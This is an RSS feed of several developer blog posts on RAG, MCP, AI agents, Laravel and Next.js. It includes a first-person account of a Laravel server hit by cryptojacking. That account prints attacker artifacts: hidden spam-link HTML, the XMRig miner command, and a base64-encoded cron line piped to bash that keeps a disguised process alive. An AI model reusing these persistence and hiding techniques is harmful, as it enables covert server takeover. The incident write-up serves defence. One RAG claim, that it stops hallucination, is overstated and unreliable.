embeddings using models like Sentence Transformers or text-embedding-3-small.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ybsgWnohIl6KHDYhzPAA2w.png" /></figure><p>Popular vector databases include <a href="https://milvus.io/"><strong>Milvus</strong></a>, <a href="https://qdrant.tech/"><strong>Qdrant</strong></a>, and <a href="https://www.trychroma.com/"><strong>Chroma DB</strong></a>. This entire process of chunking, embedding, and storing is called indexing, the first step in the RAG process.</p><p>The second step in RAG is retrieval. For a given question, you generate its embedding using the same embedding model. You then search the vector database to find the most relevant chunks. This is called semantic search; it finds chunks by meaning, not keywords. You specify a top K factor, e.g., retrieve the top 2 or top 5 most similar chunks. Once retrieved, you convert those chunks back into actual text. You place that text into your prompt alongside the original question. You send the prompt to the LLM, and it gives you the answer. Since you only feed relevant chunks, the LLM does not hallucinate. This ensures the answer is accurate and grounded in your document.</p><p><a href="https://gist.github.com/myminethealmighty/ab6d600d22ef7d811fad8c97cd125dc7">https://gist.github.com/myminethealmighty/ab6d600d22ef7d811fad8c97cd125dc7</a></p><blockquote><strong>Two Major Benefits of RAG</strong></blockquote><p><strong>High accuracy and reduced hallucination</strong>: You ground the response in your actual documents (the source of truth). The LLM gives accurate answers and makes up far less information.</p><p><strong>Cost-effective</strong>: Instead of sending the entire 3,000-page document (which costs a lot in token fees), you only send the few relevant chunks. LLM APIs charge per token, so fewer tokens mean lower costs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GJ0_r4M7fkaG7Tt-PkiVqw.png" /></figure><p>RAG test setup typically involves: SQL DB data injected into vector DB, chunk size configuration, overlap settings, embedding model selection, recursive character text splitter, LangChain framework, retriever, and LLM like Qwen.</p><h3>Real Life RAG Usage</h3><ul><li>Enterprise Q&amp;A chatbot</li><li>Medical Knowledge assistant</li><li>Legal and compliance tools</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYC5HSQwR9PTovBUrejvOQ.png" /></figure><h3>Vector RAG and Vector-less RAG</h3><p>Vector RAG uses embeddings and vector databases, <a href="https://notes.kodekloud.com/docs/Generative-AI-in-Practice-Advanced-Insights-and-Operations/Retrieval-Augmented-Generation-RAG/Naive-RAG/page"><strong>Naive RAG</strong></a> pulls the top K most similar chunks from a vector database and answers the question, and <a href="https://www.ai21.com/glossary/foundational-llm/hybrid-rag/"><strong>hybrid RAG</strong></a><strong> </strong>combines vector search and keyword search in parallel, then merges the results. This is best for most production systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61G8Do3I_opgBiPCcmqr6g.png" /></figure><p>Vector-less RAG uses no embeddings, no vector databases.</p><p><a href="https://academic.oup.com/jcde/article/13/6/68/8696400?__cf_chl_rt_tk=B08uCRz5FBj8m7i7U9MyT1UWZ.snH4cOfCrg2b58wY4-1784176599-1.0.1.1-o28QD80MKvTiGKlL3xGNNwFNuAy5M7h9En_LaJ78UDs"><strong>Keyword RAG</strong></a> uses exact keyword matching instead of vectors, works well for code, jargon, IDs, and citations, weak for semantic understanding.</p><p><a href="https://microsoft.github.io/graphrag/"><strong>Graph RAG</strong></a> builds a knowledge graph of entities and relationships (e.g., Elon Musk → founded → Tesla, SpaceX). Traverses the graph to answer questions like “Which companies founded by Elon Musk work in AI?”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vp-9IN-pZa-GSCn_gkj7Gg.png" /></figure><p><a href="https://learn.microsoft.com/en-us/training/modules/design-implement-rag-with-sql/"><strong>SQL RAG</strong></a> converts a natural language question into an SQL query, executes it on a database, and uses LLM to format the results. Example: “Which product sold the most last month?” → SQL → answer.</p><p><a href="https://techcommunity.microsoft.com/blog/azuredevcommunityblog/vectorless-reasoning-based-rag-a-new-approach-to-retrieval-augmented-generation/4502238"><strong>Reasoning-based RAG</strong></a> generates a table of contents/tree structure from a large document. LLM uses reasoning to traverse the tree and locate the relevant section. No vectors, no embeddings, no vector DB.</p><h3>Model Context Protocol (MCP)</h3><p>Before MCP, connecting LLMs to data sources meant writing messy custom glue code for every tool, like using different cables for every device. <a href="https://modelcontextprotocol.io/docs/getting-started/intro"><strong>MCP</strong></a> is like a USB-C port for AI, one unified standard that connects any LLM to any data source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtuMM-reDGzYuATpAn3eeQ.png" /></figure><p>Instead of writing custom code for APIs, databases, and files, you just use MCP servers like plugging devices into a USB hub. MCP eliminates thousands of hours of repetitive glue code, just like USB-C eliminated the need for multiple cables. MCP is the USB-C moment for AI, a single open standard that makes everything plug-and-play, standardizing connections between AI applications, LLMs, and external data sources. MCP is a new open-source standard to connect AI agents to data sources like databases, APIs, and local files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I6s3Slh5JocuVRioDysdfw.png" /></figure><p>MCP Host: The application you use (e.g., chat app, IDE).<br>MCP Client: Lives inside the host; handles communication with servers.<br>MCP Server: Connects to data sources (databases, APIs, local files) and exposes tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLHHQ9_iPHOJdICWOPtQ-w.png" /></figure><p>A host can have multiple clients and connect to multiple servers. Host and server communicate via the MCP protocol.</p><p><a href="https://gist.github.com/myminethealmighty/668c7de2714f9a38a04a54a786677c61">https://gist.github.com/myminethealmighty/668c7de2714f9a38a04a54a786677c61</a></p><h3>AI Agents</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*4tUhgIOwhxM1Y-qgAaaErw.jpeg" /></figure><p>think like you have a pizza restaurant with two types of chatbot systems and the first is a traditional AI chatbot, in this system, you have three intents: general inquiry, placing an order, and refund. When a customer asks, “What are your store hours?” or “Hey, can you tell me when the store is open?” the LLM understands both mean the same thing and correctly identifies the intent as general inquiry.</p><p><a href="https://gist.github.com/myminethealmighty/d97368fbb3eb0319a5e423eee0014b0d">https://gist.github.com/myminethealmighty/d97368fbb3eb0319a5e423eee0014b0d</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFquuglHWr8rKT1tH0unxQ.png" /></figure><p>If a customer says, “Can you place an order with large pizza and spinach topping?” the system matches the intent as placing an order, extracts the order size and toppings, and calls an API or Python function to place the order and insert a record into the database. This traditional chatbot works well, but it only does exactly what it is told without any extra intelligence or proactive suggestions.</p><p>Now, the second system is an AI agent chatbot. It has all the same capabilities as the traditional chatbot, such as identifying intents, extracting information, and calling APIs, but in addition, it has access to something called tools. For example, it can access a weather API, check that there is a snowstorm outside, and proactively tell the customer, “Due to the snowstorm, deliveries might be delayed.” It can also access a database containing past records of the same customer. It figures out that this customer orders the same large pizza with olive topping every Friday at 7 PM. Based on that, the AI agent autonomously suggests, “Would you like to reorder your usual large pizza with olive topping tonight?”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvL9xnB6xTNTd9zDXjiz1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kI50r9Snz1LkPrKO3XGIRg.png" /></figure><p>The key difference is that in your code, you never explicitly wrote instructions to give these suggestions. You simply provided the tools like the weather API and the customer database, and the AI agent figured out on its own when and how to use them. It can also access web search and a variety of other APIs. While you still have to write code to define these tools, you do not hardcode every possible response. The AI agent independently thinks, reasons, and makes proactive suggestions, making it truly autonomous and intelligent compared to the traditional system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBFdSRlktoMHJ4_ssuEsPA.png" /></figure><p>There are a variety of AI solutions like recommendation engines, document search, and chatbots, which are just one category. To summarize, the main thing in AI agents is autonomy and independent thinking. However, there will be some limitations on that autonomy. Your chatbot cannot say, “Hey, I will place your order for free and give everything free to your family and friends.” That kind of autonomy you cannot give to your agents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*uNLaJAx6TAG_ouh_NTatkA.png" /></figure><p>When you are building AI agents by writing code, you will have some kind of control over it, but within that control, the AI agent will still be autonomous. It is like having a dog with a leash. The dog can roam around freely, but you have a leash tied to its neck. Let us say you have a 2-meter long leash. The dog can roam around within that 2-meter radius. It is autonomous within that radius, but it cannot go beyond the leash. Similarly, AI agents are autonomous within the boundaries and controls you define in your code.</p><h3>AI Agent Loop</h3><p>The typical <a href="https://www.langchain.com/blog/the-art-of-loop-engineering"><strong>agent loop</strong></a> follows a <a href="https://www.promptingguide.ai/techniques/react"><strong>ReAct</strong></a> pattern</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NbP6jsuxGp9PJv-MjSEIQ.png" /></figure><p>This iterative process allows agents to reason about problems, take actions to gather information, observe results, and refine their approach until they can provide a final answer.</p><h3>Conclusion</h3><p>AI might seem like magic at first, but once you break it down, it is really a collection of different technologies working together. Tokenization helps AI read text, embeddings give words meaning, Transformers understand relationships, vector databases make information searchable, RAG lets AI use external knowledge, MCP connects AI to tools, AI agents can plan and take actions, and fine-tuning helps models become experts in specific tasks. None of these technologies are particularly powerful on their own, but together they make modern AI possible.</p><blockquote>Once you understand these fundamentals, you stop seeing AI as a black box and start seeing how to create AI applications yourself. As AI continues to evolve, these core ideas will remain relevant, making them a worthwhile investment for anyone interested in the field. Whether you are a developer, student, or simply curious about AI, understanding these fundamentals will help you move from just using AI to actually building with it.</blockquote><p>📐 Visual Companion</p><p>This article comes with a set of diagrams on Excalidraw, you are free to explore them here <a href="https://excalidraw.com/#json=TcZiW5mxaem2vRZQzmv3B">https://excalidraw.com/#json=TcZiW5mxaem2vRZQzmv3B</a></p><p><strong>References</strong></p><p>This article is a synthesis of concepts learned from multiple sources rather than entirely original research. The primary references include,</p><p><a href="https://papers.neurips.cc/paper/7181-attention-is-all-you-need.pdf">The paper “Attention Is All You Need” (Transformer architecture)</a></p><p><a href="https://developers.openai.com/api/docs">OpenAI documentation</a></p><p><a href="https://platform.claude.com/docs/en/home">Anthropic documentation</a></p><p><a href="https://huggingface.co/docs">Hugging Face documentation</a></p><p><a href="https://docs.langchain.com/">LangChain documentation</a></p><p><a href="https://faiss.ai/index.html">FAISS documentation</a></p><p><a href="https://www.tensorflow.org/api_docs">TensorFlow documentation</a></p><p><a href="https://docs.pytorch.org/docs/2.13/index.html">PyTorch documentation</a></p><p><a href="https://learn.microsoft.com/en-us/training/support/mcp">Microsoft documentation on Model Context Protocol (MCP)</a></p><p>Official documentation for <a href="https://milvus.io/docs">Milvus</a>, <a href="https://qdrant.tech/documentation/">Qdrant</a>, <a href="https://docs.trychroma.com/docs/overview/introduction">Chroma</a>, <a href="https://sbert.net/">Sentence Transformers</a>, and related projects</p><p>YouTube educational channels (espically IBM &amp; codebasics) and conference talks on these topics</p><blockquote>These sources provided the foundational knowledge that was synthesized and explained in this article.</blockquote><blockquote>Proper credit goes to the original authors and creators of these technologies and educational materials.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b37f8294231b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How My Laravel Server Got Hacked: A Cryptojacking Nightmare]]></title>
            <link>https://medium.com/@minkhantthar/how-my-laravel-server-got-hacked-a-cryptojacking-nightmare-a1a52457fca2?source=rss-32e2b280282a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a1a52457fca2</guid>
            <dc:creator><![CDATA[Min Khant Thar]]></dc:creator>
            <pubDate>Sat, 31 Jan 2026 12:50:40 GMT</pubDate>
            <atom:updated>2026-01-31T12:50:40.505Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGiIhqx6ARc7NlmfjxpZwA.png" /></figure><p>I recently discovered that my Laravel production server was compromised in a sophisticated multi-stage attack that turned my web server into a cryptojacking zombie.</p><blockquote><strong>The Initial Symptom: Mysterious “Slot Gacor” Links</strong></blockquote><p>It started with API responses containing suspicious hidden links in my JSON output. My Laravel application, let’s call it “ProjectAdmin”, began injecting these spammy gambling links into login response.</p><pre>&lt;div style=&quot;display:none&quot;&gt;<br>&lt;a href=&quot;https://satpolpp.sumbarprov.go.id/&quot;&gt;slot gacor&lt;/a&gt;<br>&lt;/div&gt;</pre><p>Initially, I thought it was a simple XSS vulnerability, but the reality was much worse.</p><blockquote><strong>The Discovery: Multiple Backdoors</strong></blockquote><p>Upon investigation, I found several malicious PHP files in my public directory.</p><ol><li>public/bcxzm87h.php and public/lcsp0mix.php - Web shells disguised as legitimate files</li><li>storage/bootstrap.cache.php - A sophisticated backdoor with multiple capabilities</li></ol><p>The bootstrap.cache.php file was particularly alarming. It contained a web shell that could execute arbitrary system commands, upload malicious files, display detailed server information and masquerade as a 404 error page when accessed without the correct parameter.</p><p>The backdoor was triggered via a specific GET/POST parameter: wanna_play_with_me. When accessed with this key, it presented a full-featured hacking interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*subG-fTF1rC-qYOpmIRMtg.png" /></figure><blockquote><strong>The Real Damage: Cryptojacking Miner</strong></blockquote><p>The investigation took a darker turn when I checked my server’s processes.</p><pre>/tmp/system.log/c3pool/xmrig --config=/tmp/system.log/c3pool/config_background.json</pre><p>This was a Monero (XMR) cryptojacking miner consuming 93–100% of my CPU. The attacker had established a persistent mining operation on my server, explaining the performance issues and increased traffic.</p><blockquote><strong>The Persistence Mechanism: Cron Job Magic</strong></blockquote><p>The attacker ensured their miner would survive reboots by installing a cron job for the www-data user.</p><pre>0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9ud<br>WxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d<br>3L215cHJvamVjdC9wdWJsaWMvZGVmdW5jdC5kYXQgLWxpcUQiIC91c3IvYmluL2Jhc2ggL<br>WMgImV4ZWMgLWEgJ1trc21kXScgJy92YXIvd3d3L215cHJvamVjdC9wdWJsaWMvZGVmdW5<br>jdCciIDI+L2Rldi9udWxs==|base64 -d|bash;}</pre><p>When decoded, this cron job checked if the mining process was running (as UID 33, which is www-data). If not running, it executed the miner with a disguised process name [ksmd] (mimicking a legitimate kernel process). The miner configuration was stored in my project’s public directory.</p><blockquote><strong>Attack Vector Analysis</strong></blockquote><p>The attack unfolded systematically: initial access likely came through exposed admin interfaces, vulnerable plugins, or weak credentials. Once inside, the attacker uploaded multiple web shells to maintain persistent access, then performed lateral movement to explore the server and escalate privileges. They deployed an XMRig cryptocurrency miner for cryptojacking, established persistence via cron jobs to ensure the miner survived reboots, and finally added spam links to API responses, possibly as a secondary revenue stream or camouflage.</p><blockquote><strong>Remediation Steps I Took</strong></blockquote><p>I immediately took isolation to the server offline to prevent further damage and remove Backdoors.</p><pre>rm -f public/*.php storage/bootstrap.cache.php</pre><p>I kill Mining Processes and Cron Jobs.</p><pre>pkill -f xmrig<br>pkill -f defunct<br>rm -rf /tmp/system.log/c3pool/<br><br>crontab -u www-data -r</pre><p>I make complete system scan and checked for other compromised files and users. Besides, I change Database, SSH, admin panels, other Credentials. Lastly, I also updated all packages and applied security patches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*iOK-ZgRTZfQsWwSEokSQxw.jpeg" /></figure><blockquote><strong>Prevention Measures for Laravel Projects</strong></blockquote><p>File Permissions</p><pre>chown -R root:www-data /var/www/<br>chmod -R 750 /var/www/<br>chmod -R 774 storage/ bootstrap/cache/</pre><p>Composer Security</p><pre>composer update --no-dev<br>composer audit</pre><p>For server hardening, disable dangerous PHP functions (exec, shell_exec, system, passthru), enforce open_basedir restrictions, implement proper firewall rules, and apply regular security updates.</p><p>Monitoring should include file integrity checks with tools like AIDE, watching for unusual cron jobs, setting CPU usage alerts, and conducting regular log analysis.</p><p>Laravel-specific measures include setting APP_ENV=production, disabling APP_DEBUG, caching routes and config, implementing rate limiting, and leveraging Laravel’s built-in security features (CSRF, XSS, and SQL injection protections).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkL1-fp69LwzweETggMLLw.jpeg" /></figure><blockquote><strong>Lessons Learned</strong></blockquote><p>Key takeaways: regular security audits are non-negotiable for detecting unauthorized changes; adhere to the principle of least privilege by restricting www-data write access; implement defense in depth rather than relying solely on framework security; monitor resource usage to catch anomalies like CPU spikes; and verify that backups exist and remain uncompromised.</p><blockquote><strong>This attack cost me significant downtime, performance issues, and the headache of complete system restoration. The cryptojacking alone could have resulted in massive cloud hosting bills if left undetected.</strong></blockquote><h4>The silver lining? I now have a much more secure server configuration and a newfound respect for comprehensive security monitoring. Don’t wait until you see “slot gacor” in your API responses, harden your servers today.</h4><h3><strong>Stay secure, and may your CPU cycles be your own!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a1a52457fca2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vector Embeddings, Vector Databases, RAG & MCP, as I Know Of]]></title>
            <link>https://medium.com/@minkhantthar/vector-embeddings-vector-databases-rag-mcp-as-i-know-of-639221d0c0a9?source=rss-32e2b280282a------2</link>
            <guid isPermaLink="false">https://medium.com/p/639221d0c0a9</guid>
            <category><![CDATA[retrieval-augmented-gen]]></category>
            <category><![CDATA[vector-embeddings]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[vector-database]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Min Khant Thar]]></dc:creator>
            <pubDate>Wed, 22 Oct 2025 16:38:10 GMT</pubDate>
            <atom:updated>2025-10-22T16:38:10.072Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Super-Smart Librarian</em></strong></blockquote><p>AI is like a genius who has read millions of books but can only rely on its memory. If you ask it about something that happened after its last training update, or about your company’s private documents, it might give a wrong or outdated answer. How can it find exactly what you need?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q2IRhDDZymr3KMev7_FlNw.png" /></figure><blockquote><strong><em>Vector Embeddings</em></strong></blockquote><p>A vector embedding is a way to turn words, sentences, or entire documents into a list of numbers (a vector).</p><p>When you walk into a library, you do not read every book to find one about “space adventures.” Imagine each book has a unique “<strong>scent</strong>” that represents what is inside. A vector embedding turns that meaning into a list of numbers which is a kind of digital essence of the text. The “<strong>scent</strong>” is like a shortcut to understand the book without reading every word.</p><p><strong>Book 1: <em>“The rocket launched into orbit”</em> → “space adventure” scent</strong></p><p><strong>Book 2: <em>“The spacecraft blasted off”</em> → same “space adventure” scent</strong></p><p>Even though the words are different, their meanings are similar. So “<strong>scent</strong>” is the core meaning captured as numbers, which the AI can use to find similar texts quickly.</p><blockquote><strong><em>Vector Database</em></strong></blockquote><p>A special database designed to store and search through these numerical “<strong>scents</strong>” (vector embeddings) efficiently.</p><p>In different words, this is a magical filing system. Instead of organizing books by title or author, it organizes them by their “<strong>scent</strong>.” All the books with a “sci-fi scent” are grouped together, and all the “romance scent” books are placed in another aisle. When a question is asked, not every book is scanned. The books with a “scent” most similar to the question are quickly identified. <strong>It finds the most semantically similar pieces of text to your query.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vHZtRHkmM9WCSIs_eoD0Q.png" /></figure><blockquote><strong><em>RAG</em></strong></blockquote><p>Retrieval-Augmented Generation (RAG) is a fancy name for a simple but powerful process.</p><p>RAG is the entire process of asking the librarian for help. A process that combines AI with the librarian system.</p><p>When you asked <strong>“What was our company’s sales strategy for Q4 2023?”</strong></p><p>Your question is taken and a “<strong>scent”</strong> is created for it (a vector embedding is generated).</p><p>The magical filing system (the Vector Database), filled with the “<strong>scents”</strong> of all internal documents, reports, and emails, is quickly searched.</p><p>The most relevant documents , the ones that “smell” most like the question about “<strong>sales</strong> <strong>strategy”</strong>, are found. The relevant documents or data are handed to the AI. The AI now has the exact information it needs. It reads the documents and generates a well-informed, accurate answer based on your company’s own data.</p><p><strong><em>Before RAG:</em></strong><em> The AI guesses from its general knowledge.<br></em><strong><em>After RAG: </em></strong><em>The AI answers using specific, up-to-date information you provided.</em></p><blockquote><strong>MCP</strong></blockquote><p>Model Context Protocol standardizes how applications and data sources connect to AI models, making it much easier to build RAG systems and other AI tools.</p><p>It is like a standard form to fill out. Now, whether the information comes from Google Drive, Notion, or a SQL database, it’s all delivered to the AI in the same, clean, easy-to-understand format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vLrE1GpkEz2aHEmk" /><figcaption>Photo by <a href="https://unsplash.com/@boliviainteligente?utm_source=medium&amp;utm_medium=referral">BoliviaInteligente</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Why It Matters</h3><p>RAG with vector databases and embeddings lets AI chatbots access your company’s knowledge accurately, reducing hallucinations. It also enables search engines that understand meaning instead of just keywords. MCP acts like a super-organized library, making AI even smarter.</p><p>It is just a very, very smart and now well-organized system for AI. Now you are in the know.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=639221d0c0a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Laravel Resource Collection: Passing Additional Data Inside a Resource]]></title>
            <link>https://medium.com/@minkhantthar/laravel-resource-collection-passing-additional-data-inside-a-resource-dc031185020c?source=rss-32e2b280282a------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc031185020c</guid>
            <category><![CDATA[json]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[laravel]]></category>
            <category><![CDATA[api]]></category>
            <category><![CDATA[eloquent]]></category>
            <dc:creator><![CDATA[Min Khant Thar]]></dc:creator>
            <pubDate>Tue, 11 Mar 2025 14:33:26 GMT</pubDate>
            <atom:updated>2025-03-11T15:09:48.171Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StY3OdEU8hqBkp-vS9EBiA.png" /></figure><p>When working with Laravel APIs, transforming and formatting responses efficiently is crucial. Laravel provides <strong>Eloquent API Resources</strong>, which allow us to structure our responses while maintaining flexibility and reusability. However, in some cases, we need to pass additional data to the resources.</p><h3>Laravel Resource Collections</h3><p>A <strong>Resource Collection</strong> is a wrapper around an array of resources. Instead of formatting individual models one by one, it allows us to modify the structure of multiple resources at once. This is particularly useful when we need to include aggregate data, statistics, or any additional information along with the list of resources.</p><h3>Basic Resource vs. Resource Collection</h3><p>Consider a simple scenario where we have a Player model and want to expose an API that returns a list of players.</p><ol><li><strong>Basic Resource</strong>: Transforms a single resource object.</li><li><strong>Resource Collection</strong>: Transforms multiple resources and optionally includes additional metadata.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9IlkCGZMvXGWMpNvtxgfQw.png" /></figure><h3>Creating an API Resource in Laravel</h3><p>First, let’s create a resource for an individual player:</p><pre>php artisan make:resource PlayerResource</pre><p>Modify the generated PlayerResource.php file in app/Http/Resources:</p><pre>namespace App\Http\Resources;<br><br>use Illuminate\Http\Request;<br>use Illuminate\Http\Resources\Json\JsonResource;<br><br>class PlayerResource extends JsonResource<br>{<br>    public function toArray(Request $request): array<br>    {<br>        return [<br>            &#39;id&#39; =&gt; $this-&gt;id,<br>            &#39;name&#39; =&gt; $this-&gt;name,<br>            &#39;position&#39; =&gt; $this-&gt;position,<br>            &#39;team&#39; =&gt; $this-&gt;team-&gt;name,<br>        ];<br>    }<br>}</pre><p>Now, we can return a single player resource in our controller:</p><pre>public function show($id)<br>{<br>    $player = Player::findOrFail($id);<br>    return new PlayerResource($player);<br>}</pre><h3>Using Resource Collections for Multiple Items</h3><p>Now, let’s say we need to return a list of players <strong>along with the total count</strong>. We’ll create a resource collection:</p><pre>php artisan make:resource PlayerCollection</pre><p>Modify PlayerCollection.php:</p><pre>namespace App\Http\Resources;<br><br>use Illuminate\Http\Request;<br>use Illuminate\Http\Resources\Json\ResourceCollection;<br><br>class PlayerCollection extends ResourceCollection<br>{<br>    private $extraData;<br><br>    public function __construct($resource, $extraData = [])<br>    {<br>        parent::__construct($resource);<br>        $this-&gt;extraData = $extraData;<br>    }<br><br>    public function toArray(Request $request): array<br>    {<br>        return [<br>            &#39;players&#39; =&gt; $this-&gt;collection-&gt;map(fn ($player) =&gt; new PlayerResource($player)),<br>            &#39;total_players&#39; =&gt; $this-&gt;extraData[&#39;total_players&#39;] ?? 0,<br>        ];<br>    }<br>}</pre><p>Now, in our controller, we use the resource collection:</p><pre>public function index()<br>{<br>    $players = Player::with(&#39;team&#39;)-&gt;get();<br>    $extraData = [&#39;total_players&#39; =&gt; $players-&gt;count()];<br><br>    return new PlayerCollection($players, $extraData);<br>}</pre><h3>Why Use Resource Collections?</h3><ol><li><strong>Cleaner Code</strong>: Keeps transformation logic separate from controllers.</li><li><strong>More Flexible Responses</strong>: Allows adding extra metadata.</li><li><strong>Optimized Queries</strong>: Enables eager loading and grouping of data.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc031185020c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I recently ran into a frustrating issue while deploying my Next.js]]></title>
            <link>https://medium.com/@minkhantthar/i-recently-ran-into-a-frustrating-issue-while-deploying-my-next-js-e5f4ef021c47?source=rss-32e2b280282a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e5f4ef021c47</guid>
            <dc:creator><![CDATA[Min Khant Thar]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 11:44:23 GMT</pubDate>
            <atom:updated>2025-02-12T11:44:23.084Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Debugging NEXTAUTH_URL Not Loading in Next.js Production</strong></blockquote><figure><img alt="NextAuth.js" src="https://cdn-images-1.medium.com/max/1024/1*m66_y_aBbVicBqP-n0CMXA.png" /></figure><p>I recently ran into a frustrating issue while deploying my Next.js app. Everything worked fine in development, but in production, process.env.NEXTAUTH_URL was coming up as undefined. After digging through the setup, I finally figured out the problem and wanted to share my findings in case anyone else runs into this.</p><h4>The Problem</h4><p>When I ran this command in my production server:</p><pre>echo &quot;console.log(process.env.NEXTAUTH_URL);&quot; &gt; test.js &amp;&amp; node test.js &amp;&amp; rm test.js</pre><p>The output was undefined even though my .env.production file clearly contained.</p><p>This meant my environment variables weren’t loading correctly.</p><h4>Understanding .env vs .env.production</h4><p>In Next.js, environment variables can be defined in different files depending on the environment:</p><ul><li><strong>.env</strong> → Used during development (next dev)</li><li><strong>.env.production</strong> → Used in production (next build and next start)</li></ul><p>However, just having the .env.production file doesn’t automatically make the variables available in process.env.</p><h4>The Fix</h4><p>Here’s what I did to solve it:</p><ol><li><strong>Explicitly load </strong>.env.production<strong> in </strong>next.config.js</li></ol><p>If you&#39;re using CommonJS (next.config.js), update it like this:</p><pre>require(&quot;dotenv&quot;).config({ path: &quot;.env.production&quot; });<br><br>module.exports = {<br>  env: {<br>    NEXTAUTH_URL: process.env.NEXTAUTH_URL,<br>  },<br>};</pre><p>If you’re using ES modules (next.config.mjs), use:</p><pre>import { config } from &quot;dotenv&quot;;<br>config({ path: &quot;.env.production&quot; });<br><br>export default {<br>  env: {<br>    NEXTAUTH_URL: process.env.NEXTAUTH_URL,<br>  },<br>};</pre><p>2.<strong> Restart the app with updated environment variables</strong></p><p>If you’re using pm2, restart it with:</p><pre>pm2 restart &lt;your-project-name&gt; --update-env</pre><p>3. <strong>Verify the variables are available</strong></p><p>Run this to check if the variable loads properly:</p><pre>node -e &quot;console.log(process.env.NEXTAUTH_URL);&quot;</pre><p>#NOTE</p><p>In production, you should use <strong>NEXTAUTH_URL</strong> (without the underscore between “NEXT” and “AUTH”).</p><pre>NEXTAUTH_URL=https://yourdomain.com</pre><pre>NEXT_AUTH_URL=https://yourdomain.com # This will not work</pre><p><strong>NEXTAUTH_URL</strong> is the correct environment variable recognized by <a href="https://next-auth.js.org/configuration/options">NextAuth.js</a>. <strong>NEXT_AUTH_URL</strong> (with an extra underscore) is not a valid configuration. So, always use <strong>NEXTAUTH_URL</strong> in production and development.</p><p>After these changes, my NEXTAUTH_URL finally loaded correctly in production. Hopefully, this helps someone avoid the same headache! Let me know if you’ve faced similar issues.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5f4ef021c47" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>